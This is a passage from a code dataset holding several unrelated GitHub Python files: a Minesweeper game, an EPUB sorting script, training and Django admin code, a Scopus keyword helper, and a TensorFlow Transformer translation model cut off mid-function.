view.\r\n \"\"\"\r\n\r\n gui.clear_window()\r\n\r\n for m, y in enumerate(state[\"field\"]):\r\n\r\n for n, _ in enumerate(y):\r\n\r\n if (n, m) in state[\"flags\"]:\r\n\r\n if state[\"end\"] and state[\"field\"][m][n] == \"x\":\r\n gui.add_tile(\"x\", n * 40, m * 40)\r\n else:\r\n gui.add_tile(\"f\", n * 40, m * 40)\r\n\r\n elif state[\"field\"][m][n] == \"x\":\r\n\r\n if state[\"end\"]:\r\n gui.add_tile(\"x\", n * 40, m * 40)\r\n else:\r\n gui.add_tile(\" \", n * 40, m * 40)\r\n\r\n elif state[\"field\"][m][n] == \" \":\r\n gui.add_tile(\" \", n * 40, m * 40)\r\n else:\r\n gui.add_tile(state[\"field\"][m][n], n * 40, m * 40)\r\n\r\n\r\n gui.draw_grid()\r\n\r\n gui.draw_text((\"Mines left: {}\".format(statistics[\"mine_count\"] - len(state[\"flags\"]))),\r\n\r\n 0, 40 * len(state[\"field\"]), (0, 90, 210, 255), size=20)\r\n\r\n if state[\"end\"]:\r\n if statistics[\"result\"] == \"Win\":\r\n gui.draw_text(\r\n \"You win!\", 0, (40 * len(state[\"field\"])) + 40, (0, 160, 100, 255), size=20)\r\n else:\r\n gui.draw_text(\"You hit a mine!\", 0, (40 *\r\n len(state[\"field\"])) + 40, (200, 0, 100, 255), size=20)\r\n\r\n gui.draw_text(\"Click anywhere to return to the menu\",\r\n 0, 0, (20, 0, 100, 255), size=14)\r\n\r\n\r\ndef initialize_values():\r\n \"\"\"\r\n Sets the initial values of the dictionaries used to save the game state and statistics.\r\n \"\"\"\r\n\r\n statistics[\"date\"] = time.strftime(\"%Y-%m-%d %H:%M\", time.localtime())\r\n statistics[\"moves\"] = 0\r\n statistics[\"result\"] = \"\"\r\n state[\"flags\"].clear()\r\n state[\"opened\"] = 0\r\n state[\"end\"] = False\r\n state[\"start_time\"] = time.time()\r\n\r\n\r\ndef add_mines(field, blank_tiles, mine_count):\r\n \"\"\"\r\n Places mines on the field in random places.\r\n Arguments:\r\n field = 2-dimensional list\r\n free_boxes = elements of a 2-dimensional list as tuples (x, y)\r\n mine_count = the number of mines as an integer\r\n \"\"\"\r\n\r\n mines = random.sample(blank_tiles, mine_count)\r\n\r\n for x_column, y_row in mines:\r\n\r\n field[y_row][x_column] = 'x'\r\n\r\n\r\ndef create_field():\r\n \"\"\"\r\n Asks the user to input the width and height of the field and the number of mines. \r\n Creates a minefield and stores it in the key \"field\" of the global dictionary \"state\".\r\n \"\"\"\r\n\r\n field = []\r\n width = request_number(\"Minefield width: \", 3, 30)\r\n height = request_number(\"Minefield height: \", 3, 30)\r\n statistics[\"field_size\"] = str(width) + \"x\" + str(height)\r\n\r\n while True:\r\n statistics[\"mine_count\"] = request_number(\"Number of mines: \", 1, width * height)\r\n if statistics[\"mine_count\"] > width * height:\r\n print(\"That's too many mines - there are {} tiles on the field\".format(width * height))\r\n else:\r\n break\r\n\r\n for _ in range(height):\r\n\r\n field.append([])\r\n\r\n for _ in range(width):\r\n field[-1].append(\" \")\r\n\r\n tiles = []\r\n\r\n for x in range(width):\r\n for y in range(height):\r\n\r\n tiles.append((x, y))\r\n\r\n add_mines(field, tiles, statistics[\"mine_count\"])\r\n\r\n state[\"field\"] = field\r\n\r\n\r\ndef request_number(question, min_number=1, max_number=sys.maxsize):\r\n \"\"\"\r\n Asks the user the question given as an argument and returns the positive integer entered by the user.\r\n \"\"\"\r\n\r\n while True:\r\n\r\n try:\r\n number = int(input(question))\r\n\r\n if number < min_number:\r\n print(f\"The smallest number allowed is {min_number}\")\r\n continue\r\n\r\n elif number > max_number:\r\n print(f\"The largest number allowed is {max_number}\")\r\n continue\r\n\r\n except ValueError:\r\n print(f\"Please enter an integer between {min_number} and {max_number}\")\r\n else:\r\n return number\r\n\r\n\r\ndef read_arguments(arguments):\r\n \"\"\"\r\n Reads the command-line arguments and returns the latter of them.\r\n \"\"\"\r\n\r\n if len(arguments) == 2:\r\n\r\n filename = arguments[1]\r\n\r\n return filename\r\n else:\r\n\r\n return None\r\n\r\n\r\ndef start_game():\r\n \"\"\"\r\n Creates the game window including the game field, and sets a drawing handler in the game window. \r\n Sets the initial values of the dictionaries used to save the game state and collect statistics.\r\n \"\"\"\r\n\r\n global gui\r\n gui = game_graphics.MyGUI()\r\n\r\n create_field()\r\n\r\n gui.create_window((40 * len(state[\"field\"][0])),\r\n (40 * len(state[\"field\"]))+80)\r\n\r\n gui.set_draw_handler(draw_field)\r\n gui.set_mouse_handler(handle_mouse)\r\n\r\n initialize_values()\r\n\r\n gui.start()\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n Prints the menu and reads the user's selection.\r\n \"\"\"\r\n print(\"Minesweeper\")\r\n\r\n while True:\r\n\r\n print(\"(N)ew game\\n(S)tatistics\\n(H)elp\\n(Q)uit\")\r\n\r\n selection = input(\"Enter your selection > \").strip().lower()\r\n\r\n if selection == \"n\":\r\n\r\n start_game()\r\n\r\n elif selection == \"s\":\r\n\r\n read_statistics_file(file_name)\r\n\r\n elif selection == \"h\":\r\n\r\n print(\"Instructions:\\n\"\r\n\r\n \"The goal of the game is to open all safe tiles and avoid mines.\\n\"\r\n \"Open a tile with the left mouse button.\\n\"\r\n \"Set or remove a flag with the right mouse button.\\n\"\r\n \"The number in the tile indicates the number of mines adjacent or diagonal to the tile.\\n\")\r\n\r\n elif selection == \"q\":\r\n\r\n break\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n file_name = read_arguments(sys.argv)\r\n\r\n if file_name:\r\n\r\n try:\r\n\r\n gui.load_images(\"sprites\")\r\n main()\r\n\r\n except KeyboardInterrupt:\r\n\r\n print(\"Program was interrupted\")\r\n else:\r\n\r\n print(\"Start the game from the command line:\")\r\n print(\"python minesweeper.py gamedata.txt\")\r\n","repo_name":"mariahhau/minesweeper","sub_path":"minesweeper.py","file_name":"minesweeper.py","file_ext":"py","file_size_in_byte":13825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"75692284032","text":"#!/usr/bin/env python3\n\"\"\"Sort book files.\n\nSorts book files into the following structure:\n\n Books\n |_Author\n | |_Book1.epub\n | |_Book1.flac\n | |_Book2 [audio] [flac]\n | | |_Chapter1.flac\n | | |_Chapter2.flac\n | |_Book2 [audio] [mp3]\n | | |_Chapter1.mp3\n | | |_Chapter2.mp3\n | |_Book2 [text]\n | |_Book2.epub\n | |_cover.png\n | |_metadata.opf\n |_Author2\n |_Book21 [text]\n |_Book21.epub\n |_cover.png\n |_metadata.opf\"\"\"\n\nimport argparse\nfrom os import getcwd, path, rename, walk\nfrom pathlib import Path\nimport re\nfrom xml.etree import ElementTree as etree\nimport zipfile\n\ndef new_fpath(author, title):\n author = _sanitize(author)\n title = _sanitize(title)\n\n if len(title) > 250:\n oldtitle = title\n title = title[:250]\n print(f'Title was too long. Shortened {oldtitle} to {title}')\n\n return (author, f\"{author}/{title}.epub\")\n\ndef _epub_info(fname):\n def xpath(element, path):\n return element.find(\n path,\n namespaces={\n \"n\": \"urn:oasis:names:tc:opendocument:xmlns:container\",\n \"pkg\": \"http://www.idpf.org/2007/opf\",\n \"dc\": \"http://purl.org/dc/elements/1.1/\",\n },\n )\n\n # prepare to read from the .epub file\n zip_content = zipfile.ZipFile(fname)\n\n # find the contents metafile\n cfname = xpath(\n etree.fromstring(zip_content.read(\"META-INF/container.xml\")),\n \"n:rootfiles/n:rootfile[@full-path]\",\n ).get(\"full-path\")\n\n # grab the metadata block from the contents metafile\n metadata = xpath(\n etree.fromstring(zip_content.read(cfname)), \"pkg:metadata\"\n )\n\n # repackage the data\n return {\n s: xpath(metadata, f\"dc:{s}\").text\n for s in (\"title\", \"language\", \"creator\", \"date\", \"identifier\")\n if xpath(metadata, f\"dc:{s}\") is not None\n }\n\ndef _sanitize(s):\n return re.sub(r'[^\\w._-]', \"_\", s.strip(), flags=re.ASCII)\n\ndef _parse_args():\n dir_help = \"The directory to scan\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"dir\", default=getcwd(), help=dir_help)\n return parser.parse_args()\n\nif __name__ == \"__main__\":\n args = _parse_args()\n\n for root, dirs, files in walk(args.dir):\n for fname in files:\n print(fname)\n if fname[-5:] != \".epub\":\n print(f\"Not an EPUB file. Skipping {fname}\")\n continue\n\n fpath = path.join(root, fname)\n info = _epub_info(fpath)\n\n print(info)\n author_key = \"creator\"\n if author_key not in info:\n print(f\"No author for {fname}. Skipping\")\n continue\n\n author = info[author_key].split(\",\")[0]\n title = info[\"title\"]\n (author, newfpath) = new_fpath(author, title)\n\n Path(author).mkdir(exist_ok=True)\n if newfpath not in fpath:\n print(f\"Moving {fname} to {newfpath}\\n\")\n rename(fpath, newfpath)\n","repo_name":"akiraheid/setup","sub_path":"server/home/scripts/sortBooks.py","file_name":"sortBooks.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"25520849239","text":"import hydra\nimport pytorch_lightning as pl\nfrom omegaconf import DictConfig\nfrom pytorch_lightning.loggers import TensorBoardLogger\n\nfrom src.data.reds import REDSDataModule\nfrom src.pl import model_dict, config_path\nfrom src.pl.callback import SaveResultCallback, SSIMCkptCallback\n\n\n@hydra.main(config_path=config_path, config_name='train.yaml')\ndef train(cfg: DictConfig) -> None:\n pl.seed_everything(8823)# Function that sets seed for pseudo-random number generators in: pytorch, numpy, python.random. 8823 is meaningless. \n save_test_result_callback = SaveResultCallback(img_save_dir=cfg.log.img_save_dir)\n ckpt_save_callback = SSIMCkptCallback(dirpath=cfg.log.net_save_dir)\n tb_logger = TensorBoardLogger(save_dir=cfg.log.tb_save_dir, name=cfg.run_name)\n trainer = pl.Trainer(\n gpus=cfg.experiment.gpus,\n accelerator='ddp',\n accumulate_grad_batches=cfg.experiment.accumulate_grad_batches,\n val_check_interval=1024,\n resume_from_checkpoint=cfg.model.ckpt,\n callbacks=[save_test_result_callback, ckpt_save_callback],\n default_root_dir=cfg.log.log_dir,\n logger=tb_logger\n )\n model = model_dict[cfg.model.name]()\n reds = REDSDataModule(dataset_type=cfg.model.dataset_type, lr_size=cfg.model.lr_size,\n batch_size=cfg.model.batch_size)\n trainer.fit(model, reds)\n\n\nif __name__ == '__main__':\n train()\n","repo_name":"starmountain1997/RwDCN","sub_path":"src/pl/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43843232858","text":"from django.contrib import admin\nfrom .models import (GalleryImage, Post, GuidedMeditation,\n GuidedMeditationPage, SacredJourney, SpiritualDirection,\n MinisterialRecord, MainPage, SlideImage, Music, StyleControl,\n ArtAndMusicPage, SacredJourneyPage, BlogIndexPage, GlobalPostStyle,\n StyleSheet, ContactPage, Event)\n\nclass MinisterialRecordAdmin(admin.ModelAdmin):\n list_display = ('first_name', 'last_name')\n search_fields = ['firs_name', 'last_name']\n\nclass GuidedMeditationAdmin(admin.ModelAdmin):\n list_display = ('title', 'audio_file', 'created_on')\n search_fields = ['title']\n\nclass GalleryImageAdmin(admin.ModelAdmin):\n list_display = ('id', 'image', 'caption', 'category', 'updated_on', 'created_on')\n\nclass PostAdmin(admin.ModelAdmin):\n list_display = ('title', 'slug', 'status', 'created_on')\n list_filter = (\"status\",)\n search_fields = ['title', 'content']\n prepopulated_fields = {'slug': ('title',)}\n\nclass SacredJourneyAdmin(admin.ModelAdmin):\n list_display = (\n 'title', 'destination', 'start_date', 'end_date', 'updated_on', 'status'\n )\n list_filter = ('status',)\n search_fields = ['title', 'destination']\n prepopulated_fields = {'slug': ('title',)}\n\nclass SpiritualDirectionAdmin(admin.ModelAdmin):\n list_display = (\n 'title', 'what_is_spiritual_direction',\n )\n search_fields = [\n 'title', 'what_is_spiritual_direction', 'what_do_spiritual_directors_do',\n ]\n\nclass StyleSheetAdmin(admin.ModelAdmin):\n list_display = ('parent', 'created_on', 'updated_on')\n\n# repeated content\nadmin.site.register(GalleryImage, GalleryImageAdmin)\nadmin.site.register(GuidedMeditation, GuidedMeditationAdmin)\nadmin.site.register(Post, PostAdmin)\nadmin.site.register(SacredJourney, SacredJourneyAdmin)\nadmin.site.register(SlideImage)\nadmin.site.register(Event)\n\n# individual pages\nadmin.site.register(ArtAndMusicPage)\nadmin.site.register(BlogIndexPage)\nadmin.site.register(ContactPage)\nadmin.site.register(GuidedMeditationPage)\nadmin.site.register(MainPage)\nadmin.site.register(MinisterialRecord, MinisterialRecordAdmin)\nadmin.site.register(Music)\nadmin.site.register(SacredJourneyPage)\nadmin.site.register(SpiritualDirection, SpiritualDirectionAdmin)\n\n# cross-content styling\nadmin.site.register(GlobalPostStyle)\nadmin.site.register(StyleControl)\nadmin.site.register(StyleSheet, StyleSheetAdmin)","repo_name":"michaelbaldanza/rww","sub_path":"main_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13825434014","text":"from typing import List, Optional\n\nfrom sqlalchemy.orm import Session\n\nfrom . import (\n Author,\n Author_Profile,\n Country,\n Department,\n Fund,\n Institution,\n Keyword,\n Paper,\n Paper_Author,\n Source,\n Source_Metric,\n Subject\n)\n\nfrom .helpers import get_key, strip\n\n\ndef keyword_process(db: Session,\n data: dict, separator: str = '|') -> List[Keyword]:\n \"\"\"Returns a list of Keyword objects to be added to a Paper object\n\n Receives a dictionary containing information about a paper and\n extracts the paper's keywords from it.\n\n The function then adds all unique keywords to a list which will be\n added to the upstream Paper object.\n\n Parameters:\n db: a Session instance of SQLAlchemy session factory to\n interact with the database\n data (dict): a pre-checked dictionary containing information\n about a paper registered in the Scopus database\n separator (str): used to split the string from Scopus API which\n has concatenated the keywords using the '|' character\n\n Returns:\n list: a list of unique 'Keyword' objects to be added to a\n 'Paper' object\n \"\"\"\n\n keywords_list = []\n raw_keywords: str = get_key(data, 'authkeywords')\n if raw_keywords:\n # Some papers have repeated keywords, which can cause a problem, since\n # the database has a unique constraint on the 'keyword' column.\n unique_keys_set = set() # just a check variable\n keywords = []\n for raw_keyword in raw_keywords.split(separator):\n raw_keyword = raw_keyword.strip()\n if raw_keyword and raw_keyword.lower() not in unique_keys_set:\n unique_keys_set.add(raw_keyword.lower())\n keywords.append(raw_keyword)\n\n # At this point, all keywords are stripped and unique within the paper.\n for raw_keyword in keywords:\n keyword: Optional[Keyword] = db.query(Keyword) \\\n .filter(Keyword.keyword == raw_keyword) \\\n .first()\n if not keyword: # Keyword not in database, let's add it.\n keyword = Keyword(keyword=raw_keyword)\n keywords_list.append(keyword)\n\n return keywords_list\n","repo_name":"pmsoltani/elsametric","sub_path":"elsametric/helpers/keyword_process.py","file_name":"keyword_process.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11555776101","text":"\"\"\"transformer (attention).\n\nencoder: [Self-Attention, Feed-forward] x n\ndecoder: [Self-Attention, Source-Target-Attention, Feed-forward] x n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport copy\nimport six\nfrom six.moves import xrange # pylint: disable=redefined-builtin\nimport tensorflow as tf\nfrom tensorflow.python.util import nest\nimport time\nimport sys\n\nfrom models import common_hparams\nfrom models import common_attention\nfrom models import common_layers\nfrom utils import inference\nfrom utils import parallel\n\n\nclass Transformer(object):\n \"\"\"Attention net. See file docstring.\"\"\"\n\n def __init__(self,\n hparams,\n mode,\n data_parallelism=None):\n \n hparams = copy.copy(hparams)\n hparams.add_hparam(\"mode\", mode)\n if mode != tf.contrib.learn.ModeKeys.TRAIN:\n for key in hparams.values():\n if key[-len(\"dropout\"):] == \"dropout\":\n setattr(hparams, key, 0.0)\n self._hparams = hparams\n self._data_parallelism = data_parallelism\n self._num_datashards = data_parallelism.n \n ##source side\n self._hparams.input_modality = SymbolModality(hparams, hparams.vocab_src_size)\n ## target side \n self._hparams.target_modality = SymbolModality(hparams, hparams.vocab_tgt_size)\n \n def infer(self,\n features=None,\n decode_length=50,\n beam_size=1,\n top_beams=1,\n alpha=0.0):\n \"\"\"A inference method.\n \"\"\"\n local_features = {}\n local_features[\"_num_datashards\"] = self._num_datashards\n local_features[\"_data_parallelism\"] = self._data_parallelism\n local_features[\"_hparams\"] = self._hparams\n local_features[\"_shard_features\"] = self._shard_features\n local_features[\"encode\"] = self.encode\n local_features[\"decode\"] = self.decode\n\n if beam_size == 1:\n tf.logging.info(\"Greedy Decoding\")\n return inference._greedy_infer(features, decode_length, local_features)\n else:\n tf.logging.info(\"Beam Decoding with beam size %d\" % beam_size)\n return inference._beam_decode(features, decode_length, beam_size, top_beams, alpha, local_features)\n\n\n def _shard_features(self, features): # pylint: disable=missing-docstring\n sharded_features = dict()\n for k, v in six.iteritems(features):\n v = tf.convert_to_tensor(v)\n if not v.shape.as_list():\n v = tf.expand_dims(v, axis=-1)\n v = tf.tile(v, [self._num_datashards])\n sharded_features[k] = self._data_parallelism(tf.identity, tf.split(v, self._num_datashards, 0))\n\n return sharded_features\n\n def model_fn(self, features, skip=False, last_position_only=False):\n \"\"\"Computes the entire model and produces sharded logits and training loss.\n \"\"\"\n \n start_time = time.time()\n dp = self._data_parallelism\n sharded_features = self._shard_features(features) \n transformed_features = {}\n \n # source embedding\n with tf.variable_scope(self._hparams.input_modality.name, reuse=False):\n transformed_features[\"inputs\"] = self._hparams.input_modality.bottom_sharded(\n sharded_features[\"inputs\"], dp)\n \n # target embedding\n with tf.variable_scope(self._hparams.target_modality.name, reuse=False):\n transformed_features[\"targets_l2r\"] = self._hparams.target_modality.targets_bottom_sharded(\n sharded_features[\"targets_l2r\"], dp)\n transformed_features[\"targets_r2l\"] = self._hparams.target_modality.targets_bottom_sharded(\n sharded_features[\"targets_r2l\"], dp)\n\n # Construct the model body.\n with tf.variable_scope(\"body\", reuse=False):\n with tf.name_scope(\"model\"):\n datashard_to_features = [{\n k: v[d] for k, v in six.iteritems(transformed_features)\n } for d in xrange(self._num_datashards)]\n body_outputs = self._data_parallelism(self.model_fn_body, datashard_to_features)\n extra_loss = 0.\n \n body_outputs_l2r = []\n body_outputs_r2l = []\n ## for multi-gpus\n for output in body_outputs:\n body_outputs_l2r.append(output[0])\n body_outputs_r2l.append(output[1])\n \n # target linear transformation and compute loss\n with tf.variable_scope(self._hparams.target_modality.name, reuse=False): ## = target_reuse\n sharded_logits, training_loss_l2r = (self._hparams.target_modality.top_sharded(\n body_outputs_l2r, sharded_features[\"targets_l2r\"], self._data_parallelism)) \n sharded_logits_r2l, training_loss_r2l = (self._hparams.target_modality.top_sharded(\n body_outputs_r2l, sharded_features[\"targets_r2l\"], self._data_parallelism)) \n training_loss = training_loss_l2r + training_loss_r2l\n \n training_loss *= self._hparams.loss_multiplier\n\n tf.logging.info(\"This model_fn took %.3f sec.\" % (time.time() - start_time))\n return sharded_logits, training_loss, extra_loss\n\n\n def model_fn_body(self, features):\n hparams = copy.copy(self._hparams)\n inputs = features.get(\"inputs\")\n\n encoder_output, encoder_decoder_attention_bias = self.encode(\n inputs, hparams)\n\n targets_l2r = features[\"targets_l2r\"]\n targets_r2l = features[\"targets_r2l\"]\n targets_l2r = common_layers.flatten4d3d(targets_l2r)\n targets_r2l = common_layers.flatten4d3d(targets_r2l)\n (decoder_input, decoder_self_attention_bias) = transformer_prepare_decoder(\n targets_l2r, targets_r2l, hparams)\n\n decode_output = self.decode(decoder_input, encoder_output, encoder_decoder_attention_bias,\n decoder_self_attention_bias, hparams)\n\n return decode_output\n\n def encode(self, inputs, hparams):\n inputs = common_layers.flatten4d3d(inputs)\n\n (encoder_input, self_attention_bias, encoder_decoder_attention_bias) = \\\n transformer_prepare_encoder(inputs, hparams)\n\n encoder_input = tf.nn.dropout(encoder_input, 1.0 - hparams.residual_dropout)\n encoder_output = transformer_encoder(encoder_input, self_attention_bias, hparams)\n\n return encoder_output, encoder_decoder_attention_bias\n\n\n def decode(self, decoder_input, encoder_output, encoder_decoder_attention_bias,\n decoder_self_attention_bias, hparams, batch_size=None, beam_size=None, cache=None):\n decoder_input = tf.nn.dropout(decoder_input, 1.0 - hparams.residual_dropout)\n \n if cache is None: ##training\n decoder_output = transformer_decoder(\n decoder_input, encoder_output, decoder_self_attention_bias,\n encoder_decoder_attention_bias, hparams, cache=cache)\n return tf.expand_dims(decoder_output, axis=3)\n else: ##inference\n decoder_output = transformer_decoder_for_decoding(\n decoder_input, encoder_output, decoder_self_attention_bias,\n encoder_decoder_attention_bias, hparams, batch_size, beam_size, cache=cache)\n return tf.expand_dims(decoder_output, axis=2)\n\ndef transformer_prepare_encoder(inputs, hparams):\n \"\"\"Prepare one shard of the model for the encoder.\n \"\"\"\n # Flatten inputs.\n ishape_static = inputs.shape.as_list()\n encoder_input = inputs\n encoder_padding = common_attention.embedding_to_padding(encoder_input)\n ignore_padding = common_attention.attention_bias_ignore_padding(\n encoder_padding)\n encoder_self_attention_bias = ignore_padding\n encoder_decoder_attention_bias = ignore_padding\n \n ##remove\n emb_target_space = common_layers.embedding(\n 9, 32, ishape_static[-1], name=\"target_space_embedding\")\n emb_target_space = tf.reshape(emb_target_space, [1, 1, -1])\n encoder_input += emb_target_space\n\n if hparams.pos == \"timing\":\n encoder_input = common_attention.add_timing_signal_1d(encoder_input)\n return (encoder_input, encoder_self_attention_bias, encoder_decoder_attention_bias)\n\n\ndef transformer_prepare_decoder(targets_l2r, targets_r2l, hparams):\n \"\"\"Prepare one shard of the model for the decoder.\n \"\"\"\n decoder_self_attention_bias = (\n common_attention.attention_bias_lower_triangle(tf.shape(targets_l2r)[1])) ## [1, 1, length, length]\n decoder_input_l2r = common_layers.shift_left_3d(targets_l2r)\n decoder_input_r2l = common_layers.shift_left_3d(targets_r2l)\n if hparams.pos == \"timing\":\n decoder_input_l2r = common_attention.add_timing_signal_1d(decoder_input_l2r)\n decoder_input_r2l = common_attention.add_timing_signal_1d(decoder_input_r2l)\n decoder_input = tf.concat([tf.expand_dims(decoder_input_l2r, 0), tf.expand_dims(decoder_input_r2l, 0)], axis=0) ## [2, batch, length, hidden_size]\n return (decoder_input, decoder_self_attention_bias)\n\n\ndef transformer_encoder(encoder_input,\n encoder_self_attention_bias,\n hparams,\n name=\"encoder\"):\n \"\"\"A stack of transformer layers.\n \"\"\"\n x = encoder_input\n # Summaries don't work in multi-problem setting yet.\n summaries = \"problems\" not in hparams.values() or len(hparams.problems) == 1\n with tf.variable_scope(name):\n for layer in xrange(hparams.num_hidden_layers_src):\n with tf.variable_scope(\"layer_%d\" % layer):\n y = common_attention.multihead_attention(\n x,\n None,\n encoder_self_attention_bias,\n hparams.attention_key_channels or hparams.hidden_size,\n hparams.attention_value_channels or hparams.hidden_size,\n hparams.hidden_size,\n hparams.num_heads,\n hparams.attention_dropout,\n summaries=summaries,\n name=\"encoder_self_attention\")\n x = common_attention.residual_fn(x, y, hparams) ###\n y = transformer_ffn_layer(x, hparams)\n x = common_attention.residual_fn(x, y, hparams)\n return x\n\n\ndef transformer_decoder(decoder_input,\n encoder_output,\n decoder_self_attention_bias,\n encoder_decoder_attention_bias,\n hparams,\n cache=None,\n name=\"decoder\"):\n \"\"\"A stack of transformer layers.\n \"\"\"\n x = decoder_input\n # Summaries don't work in multi-problem setting yet.\n summaries = \"problems\" not in hparams.values() or len(hparams.problems) == 1\n with tf.variable_scope(name):\n for layer in xrange(hparams.num_hidden_layers_tgt):\n layer_name = \"layer_%d\" % layer\n layer_cache = cache[layer_name] if cache is not None else None\n with tf.variable_scope(layer_name):\n y = common_attention.sb_multihead_attention(\n x,\n None,\n decoder_self_attention_bias,\n hparams.attention_key_channels or hparams.hidden_size,\n hparams.attention_value_channels or hparams.hidden_size,\n hparams.hidden_size,\n hparams.num_heads,\n hparams.attention_dropout,\n cache=layer_cache,\n summaries=summaries,\n name=\"decoder_self_attention\")\n x = common_attention.residual_fn(x, y, hparams)\n y = common_attention.sb_multihead_attention(\n x,\n encoder_output,\n encoder_decoder_attention_bias,\n hparams.attention_key_channels or hparams.hidden_size,\n hparams.attention_value_channels or hparams.hidden_size,\n hparams.hidden_size,\n hparams.num_heads,\n hparams.attention_dropout,\n summaries=summaries,\n name=\"encdec_attention\")\n x = common_attention.residual_fn(x, y, hparams)\n y = transformer_ffn_layer(x, hparams)\n x = common_attention.residual_fn(x, y, hparams)\n return x\n\ndef transformer_decoder_for_decoding(decoder_input,\n encoder_output,\n decoder_self_attention_bias,\n encoder_decoder_attention_bias,\n hparams,\n batch_size=None,\n beam_size=None,\n cache=None,\n name=\"decoder\"):\n \"\"\"A stack of transformer layers.\n \"\"\"\n x = decoder_input\n # Summaries don't work in multi-problem setting yet.\n summaries = \"problems\" not in hparams.values() or len(hparams.problems) == 1\n with tf.variable_scope(name):\n for layer in xrange(hparams.num_hidden_layers_tgt):\n layer_name = \"layer_%d\" % layer\n layer_cache = cache[layer_name] if cache is not None else None\n with tf.variable_scope(layer_name):\n y = common_attention.sb_multihead_attention_for_decoding(\n x,\n None,\n decoder_self_attention_bias,\n hparams.attention_key_channels or hparams.hidden_size,\n hparams.attention_value_channels or hparams.hidden_size,\n hparams.hidden_size,\n hparams.num_heads,\n hparams.attention_dropout,\n batch_size,\n beam_size,\n cache=layer_cache,\n summaries=summaries,\n name=\"decoder_self_attention\")\n x = common_attention.residual_fn(x, y, hparams)\n y = common_attention.sb_multihead_attention_for_decoding(\n x,\n encoder_output,\n encoder_decoder_attention_bias,\n hparams.attention_key_channels or hparams.hidden_size,\n hparams.attention_value_channels or hparams.hidden_size,\n hparams.hidden_size,\n hparams.num_heads,\n hparams.attention_dropout,\n summaries=summaries,\n name=\"encdec_attention\")\n x = common_attention.residual_fn(x, y, hparams)\n y = transformer_ffn_layer(x, hparams)\n x = common_attention.residual_fn(x, y, hparams)\n return x\n\n\ndef transformer_ffn_layer(x, hparams):\n \"\"\"Feed-forward layer in the transformer.\n [batch_size, length, hparams.hidden_size] --> [batch_size, length, hparams.hidden_size]\n \"\"\"\n if hparams.ffn_layer == \"conv_hidden_relu\":\n return common_layers.conv_hidden_relu(\n x,\n hparams.filter_size,\n hparams.hidden_size,\n dropout=hparams.relu_dropout)\n else:\n assert hparams.ffn_layer == \"none\"\n return x\n\n\n####################################################################\n\nclass SymbolModality(object):\n \"\"\"Modality for sets of discrete symbols.\n Input: Embedding.\n Output: Linear transformation + softmax.\n \"\"\"\n\n def __init__(self, model_hparams, vocab_size=None):\n self._model_hparams = model_hparams\n self._vocab_size = vocab_size\n\n @property\n def name(self):\n return \"symbol_modality_%d_%d\" % (self._vocab_size, self._body_input_depth)\n\n @property\n def top_dimensionality(self):\n return self._vocab_size\n \n @property\n def _body_input_depth(self):\n return self._model_hparams.hidden_size\n\n def _get_weights(self):\n \"\"\"Create or get concatenated embedding or softmax variable.\n Returns: a list of self._num_shards Tensors.\n \"\"\"\n num_shards = self._model_hparams.symbol_modality_num_shards\n shards = []\n for i in xrange(num_shards):\n shard_size = (self._vocab_size // num_shards) + (\n 1 if i < self._vocab_size % num_shards else 0)\n var_name = \"weights_%d\" % i\n shards.append(\n tf.get_variable(\n var_name, [shard_size, self._body_input_depth],\n initializer=tf.random_normal_initializer(\n 0.0, self._body_input_depth**-0.5)))\n if num_shards == 1:\n ret = shards[0]\n else:\n ret = tf.concat(shards, 0)\n ret = parallel.ConvertGradientToTensor(ret)\n return ret\n\n def bottom_simple(self, x, name, reuse):\n with tf.variable_scope(name, reuse=reuse):\n # Squeeze out the channels dimension.\n x = tf.squeeze(x, axis=3)\n var = self._get_weights()\n ret = tf.gather(var, x)\n if self._model_hparams.multiply_embedding_mode == \"sqrt_depth\":\n ret *= self._body_input_depth**0.5\n ret *= tf.expand_dims(tf.to_float(tf.not_equal(x, 0)), -1)\n return ret\n\n def bottom(self, x):\n if self._model_hparams.shared_source_embedding_and_softmax_weights:\n return self.bottom_simple(x, \"shared\", reuse=None)\n else:\n return self.bottom_simple(x, \"input_emb\", reuse=None)\n\n def targets_bottom(self, x):\n if self._model_hparams.shared_target_embedding_and_softmax_weights:\n #return self.bottom_simple(x, \"shared\", reuse=True)\n return self.bottom_simple(x, \"shared\", reuse=tf.AUTO_REUSE)\n else:\n return self.bottom_simple(x, \"target_emb\", reuse=None)\n\n def top(self, body_output, targets):\n \"\"\"Generate logits.\n Args:\n body_output: A Tensor with shape [batch, p0, p1, body_input_depth]\n targets: A Tensor with shape [batch, p0, p1, 1]\n Returns:\n logits: A Tensor with shape [batch, p0, p1, ?, vocab_size].\n \"\"\"\n if self._model_hparams.shared_target_embedding_and_softmax_weights:\n scope_name = \"shared\"\n reuse = True\n else:\n scope_name = \"softmax\"\n reuse = False\n with tf.variable_scope(scope_name, reuse=reuse):\n var = self._get_weights()\n shape = tf.shape(body_output)[:-1]\n body_output = tf.reshape(body_output, [-1, self._body_input_depth])\n logits = tf.matmul(body_output, var, transpose_b=True)\n logits = tf.reshape(logits, tf.concat([shape, [self._vocab_size]], 0))\n # insert a channels dimension\n return tf.expand_dims(logits, 3)\n\n def bottom_sharded(self, xs, data_parallelism):\n \"\"\"Transform the inputs.\n [batch, p0, p1, depth --> [batch, p0, p1, body_input_depth].\n \"\"\"\n return data_parallelism(self.bottom, xs)\n\n def targets_bottom_sharded(self, xs, data_parallelism):\n \"\"\"Transform the targets.\n [batch, p0, p1, target_channels] --> [batch, p0, p1, body_input_depth].\n \"\"\"\n return data_parallelism(self.targets_bottom, xs)\n\n def top_sharded(self,\n sharded_body_output,\n sharded_targets,\n 